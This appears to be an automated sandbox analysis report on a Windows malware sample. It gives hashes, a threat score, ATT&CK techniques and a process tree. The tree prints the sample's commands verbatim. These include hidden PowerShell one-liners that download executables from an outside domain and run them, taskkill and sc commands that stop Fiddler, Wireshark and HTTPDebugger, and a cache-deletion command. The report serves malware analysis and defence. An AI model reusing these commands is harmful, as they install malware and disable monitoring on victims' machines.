49b44822de4c96fb724007f33285b9d264d600deb7f9031429a52abea634c568

Analysis

max time kernel
149s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 15:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
Size 19.1MB
Sample260909-sgfdzsysgw
SHA256 49b44822de4c96fb724007f33285b9d264d600deb7f9031429a52abea634c568
MD5 9b4bae1985e3b993b58bff3ea3ced07f
SHA1 c8d542558cd689ec760766347acc43414ebe69f9
SHA512 c6699e5a51113de5f2922b2a608142ce4b1ed997e84f87bb019c7b40c282d8a3ee98923fc79b592fa48e770497e4f50f65e6a610c8a227189139dc6e9a6041e8
SSDEEP 24576:8VR2R/8Rb/3XuVyQRr6fNkiew5l4GiM+O93l0fZqbK0u:42evSyyORewl+O93+x9
TLSH
T1F817AD57A3A410F9D1A7C179C9438A13F7B2B85613209BDF13A4897A1F236E16F3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	powershell.exe
4912	powershell.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
252	sc.exe
4256	sc.exe
4752	sc.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4536	cmd.exe
4948	cmd.exe
1820	cmd.exe
4680	cmd.exe
720	cmd.exe
4308	cmd.exe
1844	cmd.exe
460	cmd.exe
2400	cmd.exe
5440	cmd.exe
4088	cmd.exe
1360	cmd.exe
1824	cmd.exe
712	cmd.exe
3184	cmd.exe
3100	cmd.exe
3632	cmd.exe
5180	cmd.exe
2412	cmd.exe
4164	cmd.exe
3704	cmd.exe
4472	cmd.exe
944	cmd.exe
3532	cmd.exe
5596	cmd.exe
5392	cmd.exe

Kills process with taskkill 12 IoCs

defense_evasion

pid	Process
5800	taskkill.exe
3364	taskkill.exe
5624	taskkill.exe
2976	taskkill.exe
2316	taskkill.exe
3200	taskkill.exe
2824	taskkill.exe
948	taskkill.exe
5984	taskkill.exe
204	taskkill.exe
468	taskkill.exe
2496	taskkill.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
4912	powershell.exe
4912	powershell.exe
1396	powershell.exe
1396	powershell.exe
4912	powershell.exe
1396	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	2496	taskkill.exe
Token: SeDebugPrivilege	5624	taskkill.exe
Token: SeDebugPrivilege	468	taskkill.exe
Token: SeDebugPrivilege	204	taskkill.exe
Token: SeDebugPrivilege	2316	taskkill.exe
Token: SeDebugPrivilege	2976	taskkill.exe
Token: SeDebugPrivilege	3364	taskkill.exe
Token: SeDebugPrivilege	5800	taskkill.exe
Token: SeDebugPrivilege	2824	taskkill.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	5984	taskkill.exe
Token: SeDebugPrivilege	948	taskkill.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 6028 wrote to memory of 3184	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	90
PID 3184 wrote to memory of 944	3184	cmd.exe	91
PID 6028 wrote to memory of 4088	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	92
PID 4088 wrote to memory of 3532	4088	cmd.exe	94
PID 6028 wrote to memory of 5596	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	96
PID 944 wrote to memory of 1396	944	cmd.exe	97
PID 3532 wrote to memory of 4912	3532	cmd.exe	98
PID 5596 wrote to memory of 2536	5596	cmd.exe	99
PID 6028 wrote to memory of 720	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	100
PID 6028 wrote to memory of 4680	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	101
PID 6028 wrote to memory of 4472	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	102
PID 6028 wrote to memory of 3100	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	103
PID 6028 wrote to memory of 4308	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	104
PID 6028 wrote to memory of 1360	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	105
PID 6028 wrote to memory of 4536	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	106
PID 6028 wrote to memory of 5392	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	107
PID 4680 wrote to memory of 204	4680	cmd.exe	109
PID 4308 wrote to memory of 252	4308	cmd.exe	110
PID 5392 wrote to memory of 400	5392	cmd.exe	108
PID 4472 wrote to memory of 2496	4472	cmd.exe	111
PID 3100 wrote to memory of 468	3100	cmd.exe	112
PID 1360 wrote to memory of 5624	1360	cmd.exe	113
PID 6028 wrote to memory of 1820	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	114
PID 6028 wrote to memory of 712	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	115
PID 6028 wrote to memory of 2412	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	116
PID 6028 wrote to memory of 5180	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	117
PID 6028 wrote to memory of 1844	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	118
PID 6028 wrote to memory of 3632	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	119
PID 2412 wrote to memory of 2316	2412	cmd.exe	121
PID 1844 wrote to memory of 2976	1844	cmd.exe	122
PID 1820 wrote to memory of 3364	1820	cmd.exe	123
PID 5180 wrote to memory of 4256	5180	cmd.exe	124
PID 712 wrote to memory of 5800	712	cmd.exe	125
PID 6028 wrote to memory of 5440	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	126
PID 6028 wrote to memory of 3704	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	127
PID 6028 wrote to memory of 4164	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	128
PID 6028 wrote to memory of 2400	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	129
PID 6028 wrote to memory of 460	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	130
PID 6028 wrote to memory of 1824	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	131
PID 6028 wrote to memory of 4948	6028	2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe	132
PID 3704 wrote to memory of 5984	3704	cmd.exe	133
PID 4164 wrote to memory of 948	4164	cmd.exe	134
PID 2400 wrote to memory of 4752	2400	cmd.exe	135
PID 460 wrote to memory of 2824	460	cmd.exe	136
PID 5440 wrote to memory of 3200	5440	cmd.exe	137

C:\Users\Admin\AppData\Local\Temp\2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK125463.exe; Start-Process -FilePath $env:TEMP\BK125463.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK125463.exe; Start-Process -FilePath $env:TEMP\BK125463.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK125463.exe; Start-Process -FilePath $env:TEMP\BK125463.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK766300.exe; Start-Process -FilePath $env:TEMP\BK766300.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK766300.exe; Start-Process -FilePath $env:TEMP\BK766300.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK766300.exe; Start-Process -FilePath $env:TEMP\BK766300.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mode con cols=68 lines=22
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5596
- - C:\Windows\system32\mode.com
    mode con cols=68 lines=22
    3⤵
    PID:2536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c color 0F
  2⤵
  - Executes a command shell one-liner
  PID:720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3100
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /IM HTTPDebuggerSvc.exe /F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\system32\taskkill.exe
    taskkill /IM HTTPDebuggerSvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe" MD5
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5392
- - C:\Windows\system32\certutil.exe
    certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\2026-09-09_9b4bae1985e3b993b58bff3ea3ced07f_cobalt-strike_glassworm_icedid_njrat_satacom_vidar.exe" MD5
    3⤵
    PID:400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:712
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5800
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2412
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2316
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5180
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:4256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /IM HTTPDebuggerSvc.exe /F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1844
- - C:\Windows\system32\taskkill.exe
    taskkill /IM HTTPDebuggerSvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3632
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5440
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5984
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:4752
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /IM HTTPDebuggerSvc.exe /F >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:460
- - C:\Windows\system32\taskkill.exe
    taskkill /IM HTTPDebuggerSvc.exe /F
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c @RD /S /Q "C:\Users\%username%\AppData\Local\Microsoft\Windows\INetCache\IE" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  - Executes a command shell one-liner
  PID:4948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 75b6d69adf965824f4b06bc41a391106e91ceb4b8b5b16ca3cba660dd3b31d1f
MD5 aedec43e5abe7a8b37cda7e6b8873982
SHA1 b809f13f4fa335ca1de31f41b107787ae067c2e1
SHA512 6e6879bd239585f3b5ac16ce91eb59adc183db17376c6b7add562ede490b4419c8cfaa3fe5fa01a0d0caa3a51178abb998fb278b11b7a61b4f87968fb9cf4203
TLSH
T179215C37F3DC8614DC9A413A50CEAC1036B6C7DB40DECE6B7B84D544B42F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1396-10-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-14-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-2-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-8-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-9-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-0-0x00007FFD1D88F000-0x00007FFD1D890000-memory.dmp

Download

memory/1396-13-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-11-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-15-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-1-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-20-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-16-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/1396-12-0x00007FFD1D700000-0x00007FFD1E0A4000-memory.dmp

Download

memory/4912-5-0x0000022F6F670000-0x0000022F6F692000-memory.dmp

Download